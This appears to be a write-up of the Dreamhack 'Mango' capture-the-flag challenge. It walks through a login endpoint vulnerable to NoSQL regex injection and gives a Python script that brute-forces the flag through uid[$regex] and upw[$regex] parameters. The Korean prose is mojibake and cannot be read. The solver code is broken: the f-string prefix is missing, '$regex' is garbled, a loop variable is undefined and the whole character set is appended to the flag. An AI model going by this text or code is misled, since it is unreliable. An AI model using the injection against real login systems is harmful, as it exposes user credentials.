[Dreamhack] Mango ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด
3 - 1 - 1. Mango ์ทจ์ฝ์ ๋ถ์ ์ค์ต
3 - 1 - 1. Mango ์ทจ์ฝ์ ๋ถ์ ์ค์ต
1. ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋ ๋ฐ ๋ฌธ์ ํ์ธ
2. ๋ฌธ์ ํ์ผ ์ค package.json ํ์ผ์ ์ด์ด ์ฝ๋ ๋ถ์
3. ๋ฌธ์ ํ์ผ ์ค main.js ํ์ผ์ ์ด์ด ์ฝ๋ ๋ถ์
+ << Line 1 ~ 6 >>
: ์ด์ฉ์๊ฐ ์ค์ ํ ์ฟผ๋ฆฌ๊ฐ์ ๋ฐํํ๋ ์ฝ๋
+ << Line 8 ~ 18 >>
: admi, admin, dh ๋จ์ด๋ค์ ํํฐ๋ง --> admin ์ ๊ฒ์ํ์ ๋ ๋ฐ๋ก ์ ๋ต์ด ๋ ธ์ถ๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํจ
+ << Line 27 ~ 33 >>
: userid ์ password ๋ก ๊ฒ์ํ์ ๋, ํํฐ๋ง ํจ์๋ฅผ ์คํ
+ << Line 33 ~ 34 >>
: ๋ก๊ทธ์ธ ์ฑ๊ณต = ๋ฐ์ดํฐ๋ฒ ์ด์ค์์์ ๊ฐ ๊ฒ์ ์ฑ๊ณต
+ << Line 35 ~ 36 >>
: ์์ ๊ณผ์ ์ฒ๋ผ ํํฐ๋ง ํจ์๋ฅผ ์คํํ์์๋ ํด๋น ๊ฒฐ๊ณผ๊ฐ ์๋ค๋ฉด undefined ์ถ๋ ฅ
+ << Line 41 ~ 45 >>
: ์ด๊ธฐ์ ๋น ํ์ด์ง์์ ์ถ๋ ฅํ ๋ด์ฉ์ ๊ฒฐ์ ํ๋ ์ฝ๋
: Payload ์์ฑ = ๊ณต๊ฒฉ์ ์ํ ์์ ๋ฐ์ดํฐ ์ฝ์
4. ๋ฌธ์ ์ ์ ์ ์ ๋ณด ํ์ธ ํ ์๋ด๋ ๋งํฌ์ธ http://host3.dreamhack.games:14635 ๋ก ์ ์
5. ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ํ ์ฝ๋ A(for ๋ฌธ ์ฌ์ฉ) ์์ฑ
+ << Line 3 >>
: ๊ณต๊ฒฉ ๋์์ ์ค์ ํด์ฃผ๋ ์ฝ๋๋ก, ๊ณต๊ฒฉ ๋์์ ๊ธฐ๋ณธ ์ ์ ์ ๋ณด์์ ์๋ด๋ ๋งํฌ์ ๋์ผํจ
+ << Line 2 >>
: FLAG ์ ์ซ์์ ๋ฌธ์๋ฅผ ๋ชจ๋ ํฌํจํ์ฌ ์ถ๋ ฅํ๊ธฐ ์ํ ์ฝ๋
string.digits | string.ascii_letters |
์ซ์๋ฅผ ํฌํจํ์ฌ ์ถ๋ ฅ | ๋ฌธ์๋ฅผ ํฌํจํ์ฌ ์ถ๋ ฅ |
+ << Line 7 ~ 8 >>
: Flag๊ฐ ์ด 32์๋ฆฌ์ด๋ฏ๋ก ํ๋ก๊ทธ๋จ์ 32๋ฒ ์คํํ๊ธฐ ์ํ ์ฝ๋
+ << Line 9 ~ 10 >>
: Payload๋ฅผ ์ฝ์ ํ๋ฉด ๊ทธ์ ๋ํ ์๋ต์ response ๋ก ๋ฐ์์ฃผ๊ธฐ ์ํ ์ฝ๋๋ก, ์๋ต์ด admin์ผ ๊ฒฝ์ฐ Flag๋ฅผ ์ถ๋ ฅ
+ + ์ฃผ์!
Line 9์ URL์์ { ๊ฐ 1๊ฐ๊ฐ ์๋๋ผ 2๊ฐ์ธ ์ด์ ?
--> Line 9์ ๊ฒฝ์ฐ์ ๊ฐ์ด URL ์์ 'f' ๋ฌธ์๊ฐ ์กด์ฌํ๋ ๊ฒฝ์ฐ { ๊ธฐํธ 2๊ฐ๊ฐ { ๊ธฐํธ 1๊ฐ๋ก ์ธ์๋๋ค.
6. ์์ฑํ ์ฝ๋ A ์คํ --> Flag๊ฐ ์ฌ๋ฌ ๋ฒ์ ๊ฑธ์ณ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธ
7. ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ํ ์ฝ๋ B(while ๋ฌธ ์ฌ์ฉ) ์์ฑ
import requests, string
HOST = "http://host3.dreamhack.games:9560/"
GET_FLAG = string.digits + string.ascii_letters
flag=""
while True:
response = requests.get("{HOST}/login?uid[$regex]=ad.in&upw[®ex]=D.{{flag}{ch}")
if response.text=="admin":
flag += GET_FLAG
break
print('DH{'+flag+'}')
8. ์์ฑํ ์ฝ๋ B ์คํ --> Flag๊ฐ ์ฌ๋ฌ ๋ฒ์ ๊ฑธ์ณ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธ